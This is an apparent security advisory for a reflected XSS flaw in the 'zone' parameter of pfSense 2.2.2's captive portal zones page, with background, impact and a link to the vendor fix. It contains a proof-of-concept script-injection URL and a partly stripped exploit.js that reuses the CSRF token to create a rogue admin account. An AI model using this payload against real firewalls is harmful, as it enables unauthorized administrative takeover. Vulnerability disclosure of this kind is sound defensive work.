I. VULNERABILITY ------------------------- Reflected XSS Attacks vulnerabilities in PFSense Version 2.2.2 II. BACKGROUND ------------------------- The pfSense project is a free network firewall distribution, based on the FreeBSD operating system with a custom kernel and including third party free software packages for additional functionality. Through this package system pfSense software is able to provide most of the functionality of common commercial firewalls, and many times more. III. DESCRIPTION ------------------------- Has been detected a Reflected XSS vulnerability in PFSense . The code injection is done through the parameter “zone” in the page “/services_captiveportal_zones.php?act=del&zone=” IV. PROOF OF CONCEPT ------------------------- The application does not validate the parameter “zone” correctly. http://192.168.217.100/services_captiveportal_zones.php?act=del&zone=aaaa%22%3E%3Cscript%3Ealert%28csrfMagicToken%29%3C/script%3E V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary HTML or script code in a targeted user's browser, , that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. VI. SYSTEMS AFFECTED ------------------------- Tested PFSense 2.2.2 VII. SOLUTION ------------------------- All data received by the application and that can be modified by the user, before making any kind of transaction with them must be validated corretely https://www.pfsense.org/security/advisories/pfSense-SA-15_06.webgui.asc VIII. EXPLOIT ------------------------- #cat exploit.js document.write(''); xss.document.write('
'); xss.document.write(''); xss.document.write(' '); xss.document.write(' '); xss.document.write(' '); xss.document.write(' '); xss.document.write(' '); xss.document.write(' '); xss.document.write('
'); xss.document.write(''); window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken; window.frames['xss'].document.CSRF.submit(); Result, Create new admin user the name test and password 123456 By William Costa william.costa@gmail.com